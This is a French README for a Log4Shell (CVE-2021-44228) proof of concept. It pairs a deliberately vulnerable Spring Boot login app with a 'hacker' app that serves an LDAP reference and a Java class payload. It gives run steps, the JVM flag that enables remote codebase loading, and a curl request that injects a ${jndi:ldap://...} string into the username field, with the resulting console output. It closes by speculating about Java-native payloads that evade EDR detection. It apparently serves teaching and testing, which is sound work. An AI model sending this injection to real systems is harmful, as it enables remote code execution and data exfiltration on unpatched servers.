
log4j2 Log4Shell CVE-2021-44228 preuve de concept
Application Spring Boot simple qui sert une page de connexion avec nom d'utilisateur et mot de passe. Elle enregistre le nom d'utilisateur lorsqu'il est POSTé sur /. Il n'est pas nécessaire que l'application enregistre toute entrée fournie par l'utilisateur. L'activation de la journalisation des accès utilisant une version vulnérable de log4j2 est suffisante.
Comment exécuter :
cd exploitable
../mvnw -q spring-boot:run
Par défaut, il écoute sur le port 8080. Si vous accédez à http://localhost:8080/ dans un navigateur, vous devriez voir quelque chose comme :
Dans pom.xml vous remarquerez la propriété JVM :
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
Ceci n'est pas requis dans les versions plus anciennes de JDK. La valeur par défaut a été changée à false dans : JDK 11.0.1, 8u191, 7u201 et 6u211. Même sans cette propriété, l'application est vulnérable aux requêtes LDAP initiales qui peuvent exfiltrer des données sensibles.

Application hacker qui sert deux objectifs :
Comment exécuter :
cd hacker
../mvnw -q spring-boot:run
Dans pom.xml vous pouvez changer la charge utile par défaut envoyée aux applications exploitables :
--class=SayHello est la valeur par défaut, ce qui signifie qu'il envoie SayHello.class comme charge utile.
Envoyez une requête curl à l'application exploitable en référençant le serveur LDAP hacker dans l'un des champs saisis par l'utilisateur (nom d'utilisateur) :
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/
Dans la console de l'application exploitable, vous devriez voir quelque chose comme :

${jndi:ldap://127.0.0.1:1389}127.0.0.1:1389dn:
objectClass: javaNamingReference
javaClassName: SayHello
javaCodeBase: http://127.0.0.1:9090/
javaFactory: SayHello
SayHello.classgetObjectInstance dans la classe d'exploitationAprès la requête LDAP initiale et potentiellement le téléchargement de la classe Java d'exploitation, il n'est pas nécessaire que l'exploit fork un processus, établisse une connexion supplémentaire à Internet. Généralement, ce genre d'exploits peut être facilement détecté par les produits EDR, etc. Je soupçonne que les nouvelles charges utiles d'exploitation seront implémentées nativement en Java pour échapper à la détection.